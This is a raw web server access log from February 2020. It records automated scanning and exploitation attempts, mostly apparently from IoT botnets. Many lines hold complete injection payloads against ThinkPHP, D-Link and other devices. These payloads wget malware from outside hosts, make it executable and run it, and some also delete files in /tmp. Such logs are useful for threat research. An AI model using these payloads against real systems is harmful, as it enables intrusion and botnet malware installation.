124.6.232.78 - - [09/Feb/2020:02:32:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.143.248.189 - - [09/Feb/2020:02:33:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
168.197.115.121 - - [09/Feb/2020:02:33:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
85.187.165.228 - - [09/Feb/2020:02:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
73.33.112.155 - - [09/Feb/2020:02:42:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.6.52.53 - - [09/Feb/2020:02:44:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
158.46.96.96 - - [09/Feb/2020:02:44:13 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
112.230.140.245 - - [09/Feb/2020:02:45:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.240.236 - - [09/Feb/2020:02:46:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.225.129 - - [09/Feb/2020:02:46:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.62.54.94 - - [09/Feb/2020:02:47:47 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
117.62.54.94 - - [09/Feb/2020:02:47:47 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
117.62.54.94 - - [09/Feb/2020:02:47:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
210.7.13.166 - - [09/Feb/2020:02:52:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
87.26.120.176 - - [09/Feb/2020:02:52:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
80.17.57.197 - - [09/Feb/2020:02:55:03 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
43.252.8.234 - - [09/Feb/2020:02:59:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
185.42.195.84 - - [09/Feb/2020:03:01:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
175.139.210.5 - - [09/Feb/2020:03:02:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
187.110.208.113 - - [09/Feb/2020:03:02:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
193.57.40.38 - - [09/Feb/2020:03:08:45 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [09/Feb/2020:03:10:23 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
47.91.40.107 - - [09/Feb/2020:03:11:06 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
193.57.40.38 - - [09/Feb/2020:03:12:23 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
2.133.71.204 - - [09/Feb/2020:03:12:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [09/Feb/2020:03:13:51 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
83.97.20.34 - - [09/Feb/2020:03:14:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.34 - - [09/Feb/2020:03:15:00 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
83.97.20.34 - - [09/Feb/2020:03:15:14 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
83.97.20.34 - - [09/Feb/2020:03:15:56 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
83.97.20.34 - - [09/Feb/2020:03:16:10 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
193.57.40.38 - - [09/Feb/2020:03:18:57 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [09/Feb/2020:03:19:28 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
191.100.10.224 - - [09/Feb/2020:03:19:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
208.100.26.237 - - [09/Feb/2020:03:20:35 +0100] "HEAD /core/misc/drupal.js HTTP/1.1" 404 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36"
208.100.26.237 - - [09/Feb/2020:03:20:36 +0100] "HEAD /misc/drupal.js HTTP/1.1" 404 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36"
179.60.84.8 - - [09/Feb/2020:03:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
83.10.3.176 - - [09/Feb/2020:03:22:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.15.202.19 - - [09/Feb/2020:03:24:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
93.123.16.108 - - [09/Feb/2020:03:24:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.48.70.187 - - [09/Feb/2020:03:25:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.138.211.83 - - [09/Feb/2020:03:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
195.189.218.56 - - [09/Feb/2020:03:27:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
198.58.100.134 - - [09/Feb/2020:03:28:11 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
69.164.216.31 - - [09/Feb/2020:03:28:43 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
69.164.216.31 - - [09/Feb/2020:03:28:43 +0100] "Gh0st\xad" 501 321 "-" "-"
69.164.216.31 - - [09/Feb/2020:03:28:47 +0100] "HELP" 501 319 "-" "-"
69.164.216.31 - - [09/Feb/2020:03:28:47 +0100] "\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc" 501 350 "-" "-"
69.164.216.31 - - [09/Feb/2020:03:28:49 +0100] "\x16\x03\x01" 501 318 "-" "-"
69.164.216.31 - - [09/Feb/2020:03:28:51 +0100] "\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff" 400 329 "-" "-"
221.125.44.233 - - [09/Feb/2020:03:28:51 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
1.70.103.88 - - [09/Feb/2020:03:28:56 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
91.203.193.47 - - [09/Feb/2020:03:33:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.142.80.93 - - [09/Feb/2020:03:35:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
178.149.61.151 - - [09/Feb/2020:03:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
197.44.246.83 - - [09/Feb/2020:03:35:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.201.174.52 - - [09/Feb/2020:03:37:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.42.195.84 - - [09/Feb/2020:03:37:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.196.66 - - [09/Feb/2020:03:39:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [09/Feb/2020:03:41:42 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:41:52 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:41:54 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:42:14 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
103.215.203.59 - - [09/Feb/2020:03:42:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
178.89.195.61 - - [09/Feb/2020:03:43:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.186.183.199 - - [09/Feb/2020:03:43:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.101.0.209 - - [09/Feb/2020:03:48:26 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:48:26 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:48:36 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:48:37 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:48:37 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:48:38 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:48:59 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:49:00 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:51:03 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:52:12 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:52:23 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:52:25 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:52:47 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [09/Feb/2020:03:56:32 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
102.157.17.168 - - [09/Feb/2020:03:58:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
193.57.40.38 - - [09/Feb/2020:03:58:07 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:58:16 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:03:58:16 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [09/Feb/2020:04:00:09 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
58.186.23.114 - - [09/Feb/2020:04:00:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [09/Feb/2020:04:01:41 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:04:02:19 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
51.254.59.113 - - [09/Feb/2020:04:05:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
193.57.40.38 - - [09/Feb/2020:04:06:59 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
219.155.211.80 - - [09/Feb/2020:04:07:20 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
125.37.177.105 - - [09/Feb/2020:04:07:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [09/Feb/2020:04:07:35 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
91.149.160.10 - - [09/Feb/2020:04:08:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
5.154.54.158 - - [09/Feb/2020:04:10:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.117.251.15 - - [09/Feb/2020:04:12:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
84.33.89.172 - - [09/Feb/2020:04:13:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
35.221.164.111 - - [09/Feb/2020:04:13:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.60.16 - - [09/Feb/2020:04:14:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.92.197.105 - - [09/Feb/2020:04:16:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.226.75 - - [09/Feb/2020:04:17:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.92.197.105 - - [09/Feb/2020:04:17:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.63.217 - - [09/Feb/2020:04:23:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.159.3.29 - - [09/Feb/2020:04:24:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
83.97.20.33 - - [09/Feb/2020:04:26:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
